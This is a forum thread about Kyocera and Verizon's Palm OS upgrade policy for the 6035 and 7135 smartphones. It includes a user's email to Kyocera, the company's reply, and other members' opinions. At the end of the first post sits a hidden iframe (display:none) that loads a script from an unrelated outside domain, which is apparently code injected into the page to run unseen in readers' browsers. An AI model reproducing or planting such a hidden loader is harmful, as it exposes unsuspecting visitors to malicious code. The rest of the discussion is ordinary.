As it has been reported on this website and others, Kyocera and/or Verizon Wireless decided not to upgrade the 6035's Palm OS from 3.5.3 to Palm OS 4.0.

As someone who is considering buying a 7135, this concerns me.

I sent the following email to Kyocera Technical Support:

I have to say that of all the things I love about my 6035, the thing that disappoints me the most is that I can't upgrade the OS.

In spite of this disappointment, I am considering buying a 7135 when Verizon Wireless releases it. The operative word is "considering."

While I know there will not be an upgrade path to Palm OS 5.0, I would like to know that if there is a Palm OS 4.2 or 4.5 or whatever, that I will be able to upgrade the 7135 to it.

I am not exactly certain why there has never been an upgrade for the 6035 beyond Palm OS 3.5.3 (which I have). There are features in Palm OS 4.0 I would love to have. Verizon Wireless said you never developed the upgrade and I thought I heard from a Kyocera representative that Kyocera developed it but that Verizon Wireless wouldn't approve it.

I am really not interested in getting into this name calling situation when I buy the 7135. Understand that I bought the 6035 only two years ago at full price. I am now considering doing the same thing with the 7135. (Such is the life of the early adopter). Honestly, I can't afford to keep doing this. I need to find a device I can live with for more than two years. I am hoping the 7135 will be the device. If not, I will look to a Pocket PC phone.

Can you please tell me, honestly and truthfully, what the operating system upgrade policy will be for the 7135.

Thank you for your time and consideration.

Tom Foth


Kyocera promptly replied as follows:

"Dear Tom Foth,

Thank You for contacting Kyocera Wireless.

Due to the inherent nature of the Kyocera 7135 smartphone being an integrated phone/Palm device, the OS has to be different from other Palm devices. As such, the process of upgrading the phone has many more complications and considerations.

When a new OS or an update to an OS becomes available from Palm, Kyocera Wireless will determine if an equivalent version for the Smartphone will be created. Palm OS updates or upgrades offer a variety of new, mostly behind the scenes functionality. Since the Smartphone already incorporates its own set of advanced functions above and beyond that of a normal Palm device, upgrading the OS version may not be a necessity.

Kyocera Wireless will provide the necessary software for the upgrade to occur, but the actual process will be done at the carrier level, since both the phone module and the OS module must be upgraded. This is unlike a regular Palm device which has just the OS software. Information regarding the upgrade process will come from your carrier.

Palm will from time to time make new OS software available from their website. Please do not attempt to upgrade your phone with this software under any circumstances."

My question is this:

Does this attitude concern anyone? I, for one, wanted the improvements to the Exchange Manager that came with Palm OS 4.0. It appears that Palm OS will not support the dragonball processor products with Palm OS 5.0, but I am concerned about Palm OS 4.5 (if there should be one) and if the Palm OS splits into two product families, one for the dragonball and one for the ARM.

Does it concern anyone that this product is not an ARM?

I really am concerned about getting abandoned. Again.

Your comments are seriously welcomed.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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Tom

Hello,
I hate to sound like the voice of reason, but if the Palm OS is in this device and it does every thing that you need it to do, then why to you bother yourself with which version it is and if it can be upgraded or not??

I have had my QCP-6035 since the begining and paid full price also and have never wanted to upgrade the OS, because it works just fine.

I am probably wrong on this, but I suspect that any upgrade to the PalmOS version would also require recertification at the FCC to ensure that there are no "issues" introduced on the phone side of the device.

Tom, don't be concerned. Version 4.1 is the release for smartphones, with Samsung, Kyocera, and Palm itself releasing phones based on this platform. The beauty of the PalmOS is that if a feature is lacking, you can be sure that a developer will find a workaround and release either an app that addresses the shortcoming, or a hack that hooks into the OS at a lower level.

The Kyocera 7135, and the Samsung I-500 are possibly the most technologically advanced models produced for the PalmOS platform - including the new PalmOS 5.0 devices. Many of the features of the PalmOS 5.0 release have already been rolled into the 4.1 release, so you should be future proof for a while anyway.

I have a 7135 and it has OS 4.1 on it, so i would assume that they are updating newer models.

It was also reported sometime back on this site that 6035 was no longer going to have any new developments so they could concentrate on the 7135.

No, I am not bothered by the no updates for 6035, and the 7135 is AWESOME!

__________________
GREG HARKINS
GREGHARKINS@BRINGINGFUNTOYOU.COM
www.bringingfuntoyou.com

Nope.

I've had Palm devices since 1997 and have upgraded them a couple of times but I really did not need to. Since 2000, I only upgrade when I have a functional need to do so. My current m505 palm is working just fine and I've had no need to upgrade although it is possible.

The 7135 should provide functions that other devices with newer operating systems will not. When a function comes out that requires a higher OS I will likely want new hardware anyway.

(I've done the same thing with my laptops since 1995. Upgrading the OS usually is more of a pain than it is worth.)

i have had the 6035 and never upped the os in it... worked fine.. and the i300 was standard os... so this does not bother me either..

Well, this won't be the first time I've been told I am in the minority.

The big problem with Palm OS below 4.0 is that the Exchange Manager function only works with the irDA. This means that you can't send memo's, to do's, address book entries, and calendar events via popular email programs like SnapperMail.

I am in the final days of writing a Hackmaster hack to solve this problem.

It just bothers me that I have to do this. Fortunately I know enough coding to do it.

I have the feeling that the comments about Palm OS 4.1 being the ultimate PDA OS for phones is correct. You can't argue with the feature set in the 7135.

It just worries me however: what cool thing that I can't think about right now will come in some future OS and the phone won't support it... and I'll have to hack around it or give up the function.

Thank you all for your opinions. I just found this board and find in an incredible resource because of the incredible members.

I will continue to monitor this thread to see if other opinions develop... or if others confirm what has been said.

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Tom

I do notice that most NON Palm branded PDAs that run the Palm OS are NOT upgradeable. That is one reason for sticking with Palm branded PDAs (I am still interested in the rumored January Palm announcement).

But I was impressed with the Kyocera response about upgrades.

I have an aging PalmVX that I upgraded a couple of times but did not upgrade this last time to 4.0 because it did not provide me with anything I really needed.

I just want to get a couple of years out of my 7135 when I get it.

Then I will be ready for the next great thing.

Tom,

A valid point, but I personally am not worried about it.
Welcome to the family here!

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~'kito
pdaPhoneHome Moderator